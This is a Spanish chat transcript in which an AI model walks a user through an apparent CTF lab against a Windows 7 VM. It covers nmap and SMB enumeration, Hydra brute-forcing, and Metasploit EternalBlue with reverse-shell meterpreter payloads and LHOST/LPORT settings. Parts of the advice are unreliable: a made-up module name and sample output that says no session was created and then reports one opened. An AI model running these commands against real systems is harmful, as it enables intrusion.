



# Máquina Tyrell (Fase 1)



Hola, me han dado un CTF y he hallado esta IP: 192.168.1.42. ¿Qué puedo hacer ahora?



¡Hola! Si estás participando en un **Capture The Flag (CTF)** y has encontrado la IP **192.168.1.42**, hay varios pasos que podrías seguir para investigar más sobre esa dirección y, con suerte, avanzar en el desafío.

Aquí te dejo algunas recomendaciones sobre qué podrías hacer ahora:

## 1. Escanear la IP en busca de servicios activos

Utiliza herramientas como **Nmap** para escanear puertos abiertos y servicios disponibles en la IP. Esto te dará una idea de qué aplicaciones o servicios están corriendo y te permitirá buscar posibles vulnerabilidades.

### Comando básico en Nmap:

```
nmap 192.168.1.42
```

Para obtener más detalles sobre los servicios y versiones:

```
nmap -sV 192.168.1.42
```

## 2. Explorar los puertos abiertos

Si Nmap muestra puertos abiertos, revisa qué servicios están asociados a esos puertos. Algunos puertos comunes son:

- **80 (HTTP)**



- **443 (HTTPS)**
- **22 (SSH)**
- **21 (FTP)**
- **3306 (MySQL)**

Si alguno de estos puertos está abierto, podrías intentar interactuar con el servicio correspondiente.

### 3. Interacción con servicios web (si se encuentra HTTP/HTTPS)

Si el escaneo de Nmap muestra que el puerto 80 (HTTP) o 443 (HTTPS) está abierto, puedes intentar acceder a la dirección IP desde tu navegador web (o con herramientas como **curl** o **w3m**).

Ejemplo de comando en **curl**:

```
curl http://192.168.1.42
```

Si encuentras una página web, busca pistas, archivos o referencias a la bandera (flag) que pueda estar oculta en alguna parte del sitio.

### 4. Explorar servicios SSH o FTP

Si encuentras puertos de **SSH (22)** o **FTP (21)** abiertos, puedes intentar acceder a esos servicios.

- **SSH:** Si se trata de SSH, necesitarás credenciales de acceso. En algunos CTFs, las credenciales suelen ser parte de la pista que tienes que descifrar.
- **FTP:** Si encuentras FTP, podrías intentar conectarte a él sin credenciales para ver si hay acceso anónimo. Usa un cliente FTP como ``ftp`` o ``ncftp``:

```
ftp 192.168.1.42
```



## 5. Realizar un escaneo de vulnerabilidades

Si tienes herramientas como **Nessus**, **OpenVAS**, o **Nikto**, puedes realizar un escaneo de vulnerabilidades sobre la IP para ver si algún servicio o sistema tiene debilidades conocidas.

## 6. Buscar posibles archivos o directorios ocultos en un servidor web

Si tienes un servidor HTTP activo, puedes utilizar herramientas como **gobuster** o **dirb** para buscar directorios o archivos ocultos.

Ejemplo con **gobuster**:

```
gobuster dir -u http://192.168.1.42 -w /path/to/wordlist.txt
```

Si encuentras archivos interesantes, como ``.git``, ``.htaccess``, o archivos de configuración, revisa su contenido en busca de información útil.

## 7. Buscar pistas locales

Si tienes acceso a una máquina o sistema (por ejemplo, a través de SSH o FTP), revisa los archivos en busca de pistas o cadenas que puedan ser una bandera (flag).

---

En resumen, lo primero es **explorar los servicios activos** en esa IP. Luego, dependiendo de lo que encuentres, puedes continuar buscando vulnerabilidades específicas o explorar más a fondo esos servicios para encontrar la bandera.

¡Suerte con el CTF! Si tienes alguna pregunta sobre cómo hacer alguno de los pasos, no dudes en preguntar.





La salida del escaneo es la siguiente: nmap -sV 192.168.1.42

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 13:41 CET
Nmap scan report for Personal_PC.home (192.168.1.42)
Host is up (0.0011s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10
microsoft-ds (workgroup: WORKGROUP)
MAC Address: 08:00:27:90:D7:DB (Oracle VirtualBox virtual NIC)
Service Info: Host: PERSONAL_PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any
incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21
seconds
```



Con la salida de Nmap, sabemos que el puerto **445** está abierto en la IP **192.168.1.42**, lo cual indica que el servicio **Microsoft-DS** (normalmente relacionado con el uso de **Windows SMB** o **Server Message Block**) está activo. Este servicio se utiliza en sistemas Windows para compartir archivos e impresoras, entre otros.

A continuación te ofrezco algunas recomendaciones de lo que podrías hacer con esta información:

## 1. Explorar SMB en el puerto 445

Puedes intentar interactuar con el servicio SMB. Como el sistema parece ser un Windows (según el escaneo de Nmap), es posible que haya recursos compartidos o incluso vulnerabilidades que puedas explotar.





## Herramientas útiles para investigar el servicio SMB:

- **smbclient:** Es una herramienta que permite interactuar con recursos compartidos de SMB. Puedes probar el siguiente comando para listar los recursos compartidos disponibles:

```
smbclient -L //192.168.1.42
```

Si el sistema tiene recursos compartidos sin credenciales, aparecerán en la salida.

- **Enum4linux:** Esta es una herramienta más avanzada para obtener información sobre un sistema Windows a través de SMB. Te permite obtener detalles sobre usuarios, grupos, versiones de sistemas y más.

```
enum4linux -a 192.168.1.42
```

## Intentar conexión con el servicio SMB:

Si el sistema tiene recursos compartidos sin requerir credenciales, podrías acceder a ellos directamente con **smbclient**:

```
smbclient //192.168.1.42/share_name
```

Si no se requiere contraseña, simplemente deja en blanco cuando se te pida.

## 2. Verificar vulnerabilidades conocidas en SMB

El puerto 445 es conocido por tener varias vulnerabilidades, en particular si el sistema no está actualizado. Algunas vulnerabilidades famosas que podrían estar presentes incluyen **EternalBlue** y **EternalRomance**, que explotan fallos en SMBv1.

- Puedes utilizar **Metasploit** para verificar si el sistema es vulnerable a **EternalBlue**. Primero, asegúrate de tener Metasploit instalado y luego ejecuta:

```
msfconsole  
use exploit/windows/smb/ms17_010_eternalblue
```



```
set RHOST 192.168.1.42
exploit
```

**Nota:** Si decides realizar pruebas de explotación, asegúrate de que sea dentro de un entorno controlado o permitido por las reglas del CTF.

### 3. Acceder a servicios de autenticación SMB

Si el sistema requiere autenticación, puedes intentar obtener más información sobre usuarios y contraseñas. Algunas herramientas que pueden ser útiles incluyen:

- **Hydra:** Usado para ataques de fuerza bruta.
- **Medusa:** Similar a Hydra, pero con soporte para SMB.

Por ejemplo, si tienes una lista de posibles nombres de usuario y contraseñas, podrías intentar un ataque de fuerza bruta usando Hydra:

```
hydra -t 4 -L userlist.txt -P passlist.txt smb://192.168.1.42
```

### 4. Revisar recursos compartidos a través de Windows

Si obtienes acceso a los recursos compartidos de SMB, explora las carpetas en busca de archivos de interés, como documentación, configuraciones o, en el caso de CTFs, posibles **banderas** ocultas en el sistema.

---

### Resumen:

1. Utiliza **smbclient** para explorar los recursos compartidos.
2. Si el acceso es restringido, prueba **Enum4linux** para obtener más información sobre el sistema.
3. Explora vulnerabilidades conocidas como **EternalBlue** si el sistema parece vulnerable.



4. Si no puedes acceder, intenta un ataque de fuerza bruta (si es permitido en el CTF).

¡Con suerte, encontrarás una pista o incluso la bandera! Si necesitas ayuda con alguno de estos pasos o más detalles sobre cómo ejecutarlos, no dudes en preguntarme.



La salida del enum3linux es la siguiente: enum4linux -a 192.168.1.42

```
Starting enum4linux v0.9.1 (
http://labs.portcullis.co.uk/application/enum4linux/ ) on
Sat Mar  8 13:42:55 2025
```

```
=====
===== ( Target Information
)=====
=====
```

```
Target ..... 192.168.1.42
RID Range ..... 500-550,1000-1050
Username ..... "
Password ..... "
Known Usernames .. administrator, guest, krbtgt,
domain admins, root, bin, none
```

```
===== (
Enumerating Workgroup/Domain on 192.168.1.42
)=====
```

```
[E] Can't find workgroup/domain
```



```
=====(  
Nbtstat Information for 192.168.1.42  
)=====
```

Looking up status of 192.168.1.42  
No reply from 192.168.1.42

```
=====  
==( Session Check on 192.168.1.42  
)=====
```

[+] Server 192.168.1.42 allows sessions using  
username "", password ""

```
=====(  
Getting domain SID for 192.168.1.42  
)=====
```

do\_cmd: Could not initialise lsarpc. Error was  
NT\_STATUS\_ACCESS\_DENIED

[+] Can't determine if host is part of domain or part of  
a workgroup

```
=====  
==( OS information on 192.168.1.42  
)=====
```

[E] Can't get OS info with smbclient

[+] Got OS info for 192.168.1.42 from srvinfo:





do\_cmd: Could not initialise srvsvc. Error was  
NT\_STATUS\_ACCESS\_DENIED

=====  
=====( Users on 192.168.1.42  
)=====  
=====

[E] Couldn't find users using querydispinfo:  
NT\_STATUS\_ACCESS\_DENIED

[E] Couldn't find users using enumdomusers:  
NT\_STATUS\_ACCESS\_DENIED

=====  
( Share Enumeration on 192.168.1.42  
)=====  
=====

do\_connect: Connection to 192.168.1.42 failed (Error  
NT\_STATUS\_IO\_TIMEOUT)

Sharename	Type	Comment
-----	----	-----
Reconnecting with SMB1 for workgroup listing.		
Unable to connect with SMB1 -- no workgroup available		

[+] Attempting to map shares on 192.168.1.42

=====  
=====(  
Password Policy Information for 192.168.1.42  
)=====  
=====



[E] Unexpected error from polenum:

[+] Attaching to 192.168.1.42 using a NULL share

[+] Trying protocol 139/SMB...

[!] Protocol failed: [Errno Connection error (192.168.1.42:139)] timed out

[+] Trying protocol 445/SMB...

[!] Protocol failed: SMB SessionError: code: 0xc0000022 - STATUS\_ACCESS\_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

[E] Failed to get password policy with rpcclient

```
=====
===== ( Groups on 192.168.1.42
)=====
=====
```

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:



[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

```
===== ( Users on 192.168.1.42
via RID cycling (RIDS: 500-550,1000-1050)
)=====
```

[E] Couldn't get SID: NT\_STATUS\_ACCESS\_DENIED. RID cycling not possible.

```
===== (
Getting printer info for 192.168.1.42
)=====
```

do\_cmd: Could not initialise spoolss. Error was NT\_STATUS\_ACCESS\_DENIED

enum4linux complete on Sat Mar 8 13:43:52 2025



Parece que el escaneo con **enum4linux** no ha podido obtener mucha información relevante del sistema debido a varios errores de acceso (**NT\_STATUS\_ACCESS\_DENIED**). Esto generalmente ocurre cuando el sistema está configurado para no permitir accesos no autenticados o si hay un firewall bloqueando ciertas conexiones.

Sin embargo, aquí hay algunos puntos clave y lo que puedes intentar a continuación:



## Resumen de la salida de enum4linux:

- **No se pudo encontrar el grupo de trabajo o dominio.**
- El **Nbtstat** no obtuvo respuesta de la IP.
- **No se pudo obtener información del sistema operativo** ni de los usuarios.
- Hubo varios intentos fallidos de enumerar recursos compartidos.
- Los errores de **ACCESS\_DENIED** indican que los recursos requerían privilegios adicionales.

## Posibles pasos a seguir:

### 1. Verificar acceso anónimo en SMB

El hecho de que el sistema haya permitido la creación de una sesión con un nombre de usuario y una contraseña vacíos (``) sugiere que el acceso anónimo podría estar habilitado. Puedes intentar explorar los recursos compartidos con **smbclient** usando un acceso anónimo.

Intenta lo siguiente para enumerar los recursos compartidos sin credenciales:

```
smbclient -L //192.168.1.42 -N
```

El parámetro `-N` le dice a **smbclient** que no use una contraseña. Si hay recursos compartidos disponibles, deberían aparecer en la salida.

### 2. Explorar con Metasploit (si tienes permisos)

Si el sistema está configurado para denegar información de usuarios o recursos, podrías intentar usar **Metasploit** para explorar vulnerabilidades, como **EternalBlue**.

Para esto, asegúrate de tener **Metasploit** instalado y sigue estos pasos:

1. Abre Metasploit:

```
msfconsole
```



## 2. Usa el módulo de **EternalBlue**:

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.42
exploit
```

Esto intentará explotar la vulnerabilidad **EternalBlue** (que afecta a SMBv1) si el sistema está desactualizado y vulnerable.

## 3. Prueba con herramientas de fuerza bruta

Si sabes de algún usuario o grupo al que el sistema podría pertenecer, podrías intentar un ataque de fuerza bruta con herramientas como **Hydra** o **Medusa**.

Por ejemplo, usando **Hydra**:

```
hydra -t 4 -L userlist.txt -P passlist.txt smb://192.168.1.42
```

En este caso, `userlist.txt` es un archivo con nombres de usuario comunes y `passlist.txt` contiene posibles contraseñas.

## 4. Prueba con otros puertos o protocolos

Ya que **enum4linux** no pudo obtener mucho en el puerto 445, podrías probar con otros puertos, como el **139** (otro puerto SMB) o incluso realizar un escaneo más exhaustivo de puertos abiertos con **Nmap**.

Si ya no lo has hecho, puedes intentar hacer un escaneo más detallado:

```
nmap -p- 192.168.1.42
```

## 5. Revisar configuración del sistema o de la máquina virtual

También es posible que el sistema esté ejecutándose en una **máquina virtual (VM)** (según la MAC address que aparece en Nmap). Asegúrate de que la configuración de red de la VM permita conexiones de red adecuadas, en caso de que sea relevante.



## Conclusión:

Aunque no pudimos obtener demasiada información relevante con **enum4linux**, las siguientes acciones clave serían intentar acceder a recursos SMB de forma anónima con **smbclient**, buscar vulnerabilidades en SMB (como **EternalBlue**) con **Metasploit**, o probar ataques de fuerza bruta si se permiten en el contexto del CTF.

Si sigues teniendo problemas o necesitas ayuda con algún paso, no dudes en preguntar. ¡Suerte con el CTF!



```
Esta es la salida de metasploit: msf6
exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.127:4444
[*] 192.168.1.42:445 - Using
auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.42:445 - Host is likely VULNERABLE to
MS17-010! - Windows 7 Ultimate 7601 Service Pack 1
[*] 192.168.1.42:445 - Scanned 1 of 1 hosts (100%
complete)
[+] 192.168.1.42:445 - The target is vulnerable.
[*] 192.168.1.42:445 - Connecting to target for
exploitation.
[+] 192.168.1.42:445 - Connection established for
exploitation.
[+] 192.168.1.42:445 - Target OS selected valid for OS
indicated by SMB reply
[*] 192.168.1.42:445 - CORE raw buffer dump (38
bytes)
[*] 192.168.1.42:445 - 0x00000000  57 69 6e 64 6f 77
73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.42:445 - 0x00000010  74 65 20 37 36 30
31 20 53 65 72 76 69 63 65 20  te 7601 Service
[*] 192.168.1.42:445 - 0x00000020  50 61 63 6b 20 31
Pack 1
[+] 192.168.1.42:445 - Target arch selected valid for
arch indicated by DCE/RPC reply
```





```
[*] 192.168.1.42:445 - Trying exploit with 12 Groom
Allocations.
[*] 192.168.1.42:445 - Sending all but last fragment of
exploit packet
[*] 192.168.1.42:445 - Starting non-paged pool
grooming
[+] 192.168.1.42:445 - Sending SMBv2 buffers
[+] 192.168.1.42:445 - Closing SMBv1 connection
creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.42:445 - Sending final SMBv2 buffers.
[*] 192.168.1.42:445 - Sending last fragment of exploit
packet!
[*] 192.168.1.42:445 - Receiving response from exploit
packet
[+] 192.168.1.42:445 - ETERNALBLUE overwrite
completed successfully (0xC000000D)!
[*] 192.168.1.42:445 - Sending egg to corrupted
connection.
[*] 192.168.1.42:445 - Triggering free of corrupted
buffer.
[-] 192.168.1.42:445 - ==-==-==-==-==-==-==-==-==
==-==-==-==-==-==-==-==-==
[-] 192.168.1.42:445 - ==-==-==-==-==-==-==-==-==
=FAIL-==-==-==-==-==-==-==-==
[-] 192.168.1.42:445 - ==-==-==-==-==-==-==-==-==
==-==-==-==-==-==-==-==-==
[*] 192.168.1.42:445 - Connecting to target for
exploitation.
[-] 192.168.1.42:445 - Rex::HostUnreachable: The host
(192.168.1.42:445) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```



Parece que el intento de explotación del **MS17-010 (EternalBlue)** fue parcialmente exitoso, ya que el sistema mostró que es vulnerable, pero finalmente **no se creó una sesión** y la conexión fue rechazada.



Aquí hay algunas razones comunes por las que esto podría ocurrir y algunos pasos que puedes seguir para intentar solucionarlo:

## 1. Firewall o Protección de Red

El hecho de que **Metasploit** pueda realizar la explotación pero luego no se establezca una sesión puede indicar que hay un **firewall** o algún tipo de **protección de red** (como un IDS/IPS) bloqueando la conexión de retorno. Asegúrate de que el puerto **4444** (puerto de reversa de Metasploit) esté abierto y accesible desde el objetivo, y que el firewall en la máquina atacante no esté bloqueando la conexión.

### Pasos a verificar:

- Verifica que tu firewall local o el de la máquina víctima no esté bloqueando el puerto **4444**.
- Asegúrate de que el **puerto de escucha** esté correctamente configurado. En este caso, Metasploit está configurado para escuchar en **192.168.1.127:4444**. Verifica que esa IP sea accesible desde el objetivo.

**Prueba de conexión a tu puerto de escucha:** Desde la máquina atacante, puedes usar **telnet** o **nc** para verificar la accesibilidad de tu puerto:

```
nc -vz 192.168.1.127 4444
```

Esto te ayudará a comprobar si el puerto está accesible desde la máquina víctima.

## 2. Reintentar la explotación

Si la red está configurada correctamente y la máquina es accesible, puedes intentar nuevamente la explotación con algunos ajustes:

- Usa un **payload diferente**. Puedes cambiar el tipo de payload o la configuración de red para adaptarlo a la infraestructura de red.
- También puedes aumentar el **timeout** en Metasploit para darle más tiempo a la explotación.





Por ejemplo, para cambiar el payload:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.127
set LPORT 4444
exploit
```

Esto asegurará que el payload sea el correcto y que la conexión sea estable.

### 3. Revisar Logs y Errores

Revisa los registros o los logs de **Metasploit** para obtener más detalles sobre el fallo. A veces, los mensajes de error adicionales pueden dar pistas sobre lo que está sucediendo, como problemas con la red o con la máquina víctima.

Puedes obtener más información sobre el fallo ejecutando el comando:

```
set VERBOSE true
exploit
```

Esto te mostrará más detalles durante el proceso de explotación.

### 4. Explorar otras vulnerabilidades

Si el sistema sigue siendo inaccesible o el ataque sigue fallando, puedes intentar otras vulnerabilidades conocidas de SMB o probar con **fuerza bruta** o **credenciales predeterminadas** para ganar acceso al sistema.

Alternativamente, podrías intentar otros tipos de exploits que no dependan de SMB, como vulnerabilidades en otros servicios.

---

### Resumen de pasos:



1. **Verifica las conexiones de red:** Asegúrate de que el puerto de reversa (4444) esté accesible y no esté bloqueado por firewall.
2. **Ajusta el payload o aumenta el timeout.**
3. **Reintenta la explotación** con un payload diferente o realiza un escaneo más exhaustivo.
4. Si el ataque sigue fallando, considera buscar otras vulnerabilidades o explorar otras formas de acceso.

Si necesitas más detalles o ayuda para ajustar el ataque, ¡avísame!



¿A qué te refieres con puerto de escucha de atacante?



Cuando te menciono el **puerto de escucha del atacante**, me estoy refiriendo al **puerto en el cual el atacante está esperando una conexión de vuelta** desde la máquina víctima después de que el exploit haya tenido éxito.

En este caso específico, cuando ejecutas el **exploit** con Metasploit, el atacante (tu máquina) debe escuchar en un puerto específico para recibir la **conexión reversa** desde la víctima, es decir, para recibir el **meterpreter shell** o cualquier otro tipo de shell que el exploit intente crear.

## Ejemplo en tu salida:

- En el comando de Metasploit que ejecutaste, el puerto de escucha es **4444** y la IP de escucha es **192.168.1.127** (la IP de tu máquina).

```
[*] Started reverse TCP handler on 192.168.1.127:4444
```

Esto significa que Metasploit está esperando recibir una conexión en el puerto **4444** en la dirección **192.168.1.127**. Si la víctima es capaz de conectar a este





puerto después de ser explotada, el atacante recibiría una sesión **Meterpreter** u otro tipo de shell.

## ¿Qué sucede en este proceso?

1. **Exploit ejecutado:** Después de ejecutar el exploit, si la máquina víctima es vulnerable, el exploit se aprovecha de una vulnerabilidad (en este caso **EternalBlue**) para ejecutar código en la víctima.
2. **Conexión reversa:** El código ejecutado en la víctima intenta realizar una **conexión reversa** a la máquina del atacante, específicamente al **puerto de escucha** (en este caso **4444**).
3. **Conexión:** Si la conexión tiene éxito, el atacante recibe acceso a la máquina víctima a través de una **shell** o **meterpreter**.

## ¿Por qué podría fallar la conexión reversa?

- **Firewall en la víctima:** Si hay un firewall en la máquina víctima que bloquea la conexión de salida hacia el atacante, la conexión no podrá realizarse.
- **Firewall en el atacante:** Si el atacante tiene un firewall bloqueando la entrada en el puerto **4444**, no podrá recibir la conexión.
- **Configuración incorrecta del puerto de escucha:** Si el atacante está escuchando en una IP o puerto incorrecto, no se recibirá la conexión.

## ¿Cómo verificarlo?

Para asegurarte de que tu máquina atacante pueda recibir la conexión en el puerto **4444**, realiza los siguientes pasos:

1. **Verifica que el puerto de escucha esté activo.** Desde la máquina atacante, ejecuta el siguiente comando para verificar si el puerto **4444** está escuchando correctamente:

```
netstat -an | grep 4444
```





Deberías ver algo como esto si el puerto está abierto y esperando conexiones:

```
tcp          0      0 0.0.0.0:4444      0.0.0.0:*        LISTEN
```

2. **Verifica la accesibilidad del puerto de escucha desde la víctima.** Desde la máquina atacante, puedes verificar si el puerto **4444** está accesible para la máquina víctima utilizando el siguiente comando de **nc (Netcat)**:

```
nc -vz 192.168.1.127 4444
```

Si el puerto está accesible, deberías ver algo como esto:

```
Connection to 192.168.1.127 4444 port [tcp/*] succeeded!
```

3. **Verifica que la IP de escucha sea correcta.** Asegúrate de que la IP de la máquina atacante en Metasploit esté configurada correctamente, especialmente si tienes múltiples interfaces de red. La IP **192.168.1.127** debe ser accesible desde la máquina víctima.

---

## Resumen:

El **puerto de escucha del atacante** es el puerto en el que **Metasploit** está esperando recibir la conexión reversa desde la máquina víctima después de que el exploit haya tenido éxito. En tu caso, es el puerto **4444**. Asegúrate de que este puerto esté accesible desde la víctima y que no haya firewall bloqueando la conexión. Si tienes alguna duda o necesitas más detalles sobre cómo verificar la conectividad, ¡avísame!





No tenía ningún puerto de escucha activo cuando usé metasploit, ¿cómo lo activo?



¡Ah, eso explica por qué la conexión reversa no se pudo establecer! Si no tienes un puerto de escucha activo, la máquina víctima no podrá conectarse de vuelta a tu máquina para establecer la sesión **Meterpreter** o cualquier otra shell.

## Activar un Puerto de Escucha en Metasploit

Cuando usas Metasploit, el puerto de escucha se activa automáticamente cuando configuras un **payload** y ejecutas el **exploit**. Si no estaba activo cuando lo intentaste, probablemente el **payload** no se configuró correctamente o la IP/puerto de escucha no se especificó.

Aquí están los pasos para asegurarte de que el puerto de escucha esté activo en **Metasploit**:

### 1. Iniciar Metasploit:

Si aún no has iniciado Metasploit, abre la terminal y ejecuta:

```
msfconsole
```

### 2. Seleccionar el módulo de explotación:

Si ya seleccionaste el módulo de explotación **MS17-010 (EternalBlue)**, asegúrate de que el **payload** esté configurado correctamente.

Selecciona el módulo:

```
use exploit/windows/smb/ms17_010_eternalblue
```



### 3. Configurar el Payload y la IP/puerto de escucha:

Ahora necesitas asegurarte de que el **payload** esté correctamente configurado para escuchar en un puerto que no esté siendo utilizado. Aquí tienes los pasos:

- **Establecer el payload:** La mayoría de las veces, usarás un **payload reverso** como **Meterpreter**. Asegúrate de configurar el payload correcto:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

- **Configurar la IP de escucha (LHOST):** La **IP de escucha (LHOST)** es la dirección de tu máquina (el atacante) donde esperas recibir la conexión reversa. Esto debería ser tu dirección IP local o la IP de la máquina que se puede acceder desde la víctima.

```
set LHOST 192.168.1.127
```

**Nota:** Asegúrate de que esta IP sea accesible desde la máquina víctima.

- **Configurar el puerto de escucha (LPORT):** Luego, necesitas configurar el **puerto de escucha (LPORT)**. El puerto predeterminado es **4444**, pero puedes cambiarlo si lo deseas.

```
set LPORT 4444
```

### 4. Verificar que el puerto de escucha esté activo:

Antes de ejecutar el exploit, asegúrate de que **Metasploit** está escuchando correctamente en el puerto **4444**. Para ello, ejecuta el siguiente comando:

```
show options
```

Esto te mostrará todas las configuraciones, y deberías ver algo similar a esto:



```
LHOST: 192.168.1.127
```

```
LPORT: 4444
```

## 5. Ejecutar el exploit:

Una vez que hayas configurado todo correctamente, puedes ejecutar el exploit:

```
exploit
```

Esto debería iniciar el exploit, y Metasploit comenzará a escuchar en el puerto **4444** en tu máquina (la dirección IP de escucha que configuraste).

## 6. Verificar si la conexión de la víctima se establece:

Si el exploit tiene éxito y la máquina víctima es vulnerable, **Metasploit** recibirá la **conexión reversa** y se creará una sesión.

Verás algo como esto en la salida:

```
[*] Started reverse TCP handler on 192.168.1.127:4444  
[*] Exploit completed, but no session was created.  
[*] Meterpreter session 1 opened (192.168.1.127:4444 -> 192.168.1.42:445) at  
2025-03-08 14:00:00
```

Si todo salió bien, deberías tener una sesión **Meterpreter** abierta.

## 7. Verificar que el puerto esté escuchando:

Si quieres asegurarte de que **Metasploit** está realmente escuchando en el puerto **4444**, puedes usar el siguiente comando en otra terminal (en tu máquina atacante):

```
netstat -an | grep 4444
```

Esto te mostrará si **Metasploit** está escuchando en el puerto **4444**.



## Solución de Problemas:

Si sigues sin recibir la sesión, aquí hay algunos pasos adicionales a seguir:

- **Firewall:** Asegúrate de que no haya un firewall bloqueando la conexión de la víctima a tu máquina en el puerto **4444**. Puedes desactivarlo temporalmente para pruebas si es necesario.
- **Accesibilidad de LHOST:** Asegúrate de que la IP de tu máquina (LHOST) sea accesible desde la máquina víctima. Si estás en una red local, asegúrate de que ambas máquinas estén en la misma red o que puedas enrutar el tráfico adecuadamente.
- **Revisar logs de Metasploit:** Si no se obtiene una sesión, revisa los logs de Metasploit para obtener más información sobre posibles errores.

---

## Resumen:

1. **Inicia Metasploit.**
2. **Selecciona el módulo de explotación** y configura el **payload** con la IP de escucha (**LHOST**) y el **puerto de escucha (LPORT)**.
3. **Ejecuta el exploit** y asegúrate de que el puerto de escucha está activo.
4. Si la explotación tiene éxito, **Metasploit** debería recibir la conexión y abrir una sesión.

Espero que esto te ayude a configurar correctamente el puerto de escucha y lograr obtener una sesión. ¡Avísame si necesitas más ayuda!



Me sale lo de antes, ¿a qué puede deberse?







Si después de seguir los pasos anteriores aún te sigue apareciendo el mismo error y no obtienes una sesión, podrían estar sucediendo varias cosas. Vamos a revisar algunos posibles problemas y sus soluciones:

## 1. Problema con la conectividad de red

El error que aparece indica que **Metasploit** no pudo establecer la conexión con la víctima. Esto puede ser causado por varios problemas relacionados con la conectividad de red.

### Soluciones:

- **Verificar IP de escucha (LHOST):** Asegúrate de que la IP de escucha que configuraste sea accesible desde la máquina víctima. Si estás en una red local, verifica que ambas máquinas estén en la misma subred o que haya rutas adecuadas entre ellas. Usa el comando ``ping`` para asegurarte de que puedes llegar a la IP de tu máquina atacante desde la máquina víctima.

### Ejemplo:

```
ping 192.168.1.127
```

- **Verificar que el puerto esté abierto en el firewall:** Verifica si el puerto **4444** (o el que hayas configurado) está abierto en tu máquina atacante. Puedes usar ``netstat`` o ``ss`` para verificar si Metasploit está realmente escuchando en el puerto configurado.

```
netstat -an | grep 4444
```

También verifica que no haya un firewall en tu máquina atacante bloqueando conexiones entrantes. Si estás usando un firewall, intenta desactivarlo temporalmente para pruebas.

```
sudo ufw disable # Para sistemas con UFW
```



O para otros firewalls, ajusta las reglas adecuadamente para permitir tráfico en el puerto **4444**.

- **Revisar el firewall de la víctima:** Si la víctima tiene un firewall activado, puede estar bloqueando la conexión reversa. Si tienes acceso para configurarlo, intenta desactivarlo temporalmente o agregar una regla para permitir conexiones salientes a tu máquina atacante en el puerto **4444**.

## 2. Problema con la explotación (EternalBlue)

Aunque el exploit parece estar correctamente configurado, podría haber algún detalle en la explotación que cause el fallo. Aquí hay algunas razones comunes por las que el **exploit MS17-010 (EternalBlue)** podría fallar:

### Soluciones:

- **La víctima no está completamente vulnerable:** Aunque el Nmap reporta que el host es vulnerable, es posible que el exploit no se pueda ejecutar si la máquina víctima tiene algún parche instalado que lo haga resistente. Puedes intentar ejecutar otro escaneo de vulnerabilidad (como ``nmap --script smb-vuln-ms17-010`` o ``nmap -p 445 --script=smb-vuln-ms17-010 192.168.1.42``) para asegurarte de que la máquina es completamente vulnerable.

También puedes intentar con una versión diferente del exploit de EternalBlue:

```
use exploit/windows/smb/ms17_010_eternalblue_smb2
```

- **La máquina víctima está protegida o ha sido parcheada:** Si la víctima tiene el parche de seguridad instalado, **MS17-010** ya no será efectivo. Asegúrate de que la máquina víctima no esté actualizada con un parche que mitigue esta vulnerabilidad.
- **Errores de Metasploit:** Si hay problemas con el propio exploit en Metasploit, puedes intentar usar una versión más reciente de Metasploit o incluso intentar manualmente con un **exploit independiente** si tienes el código de la vulnerabilidad.



### 3. Error en la configuración del payload

Puede ser que el **payload reverso** no se haya configurado correctamente o que el **puerto de escucha (LPORT)** esté en conflicto con algo más en tu máquina.

#### Soluciones:

- **Verificar configuración del payload:** Asegúrate de que el payload esté correctamente configurado para aceptar conexiones en el puerto adecuado. Usa ``show options`` en Metasploit para verificar que los valores de ``LHOST`` y ``LPORT`` estén correctos y que no haya ningún error en la configuración.
- **Probar un puerto diferente:** Si el puerto **4444** está bloqueado o ya está siendo utilizado, intenta usar otro puerto. Por ejemplo, puedes cambiar a **4445** o **5555** y actualizar la configuración del payload.

```
set LPORT 4445
```

- **Verificar la IP de la víctima (RHOST):** Asegúrate de que la dirección IP de la víctima (**RHOST**) esté correctamente configurada. Revisa que **192.168.1.42** sea la IP correcta de la víctima.

### 4. Conexión fallida debido a la sobrecarga o fallos de recursos

Algunas veces, los servidores SMB pueden ser un poco lentos, lo que genera la desconexión del exploit si no puede completarse rápidamente.

#### Soluciones:

- **Reintentar el exploit:** A veces puede fallar debido a un tiempo de espera o una pequeña congestión de red. Puedes intentar ejecutar el exploit varias veces o usar un **tiempo de espera más largo**:

```
set ExploitTimeout 60
exploit
```



## 5. Modo de ataque incorrecto

Si la máquina víctima está usando una versión diferente de Windows o un sistema operativo que no es completamente compatible con el exploit, el resultado podría ser un fallo.

### Soluciones:

- **Verificar tipo de arquitectura:** Asegúrate de que el **payload** es compatible con la arquitectura de la víctima. Si la víctima tiene una arquitectura **x86 (32-bit)**, usa un payload diferente (por ejemplo, ``windows/meterpreter/reverse_tcp`` en lugar de ``windows/x64/meterpreter/reverse_tcp``).

### Resumen:

1. **Verifica la conectividad de red** y asegúrate de que el puerto de escucha **4444** esté accesible desde la máquina víctima.
2. **Revisa la vulnerabilidad de la máquina víctima** asegurándote de que no esté parcheada.
3. **Asegúrate de que la configuración del payload sea correcta**, con los valores correctos de **LHOST** y **LPORT**.
4. **Prueba con un puerto diferente** o configura un tiempo de espera más largo para el exploit.

Si todo está configurado correctamente y la víctima sigue sin ser comprometida, puede que haya un problema específico con la máquina víctima o la red. Puedes intentar otras técnicas o herramientas de explotación dependiendo del escenario del CTF.

¡Avísame cómo te va o si necesitas más detalles!



¿Cómo pongo el payload para que sea de 32bits?



Para usar un **payload de 32 bits** en Metasploit, simplemente tienes que especificar un payload que sea de arquitectura **x86** (32 bits). Esto es lo que debes hacer:
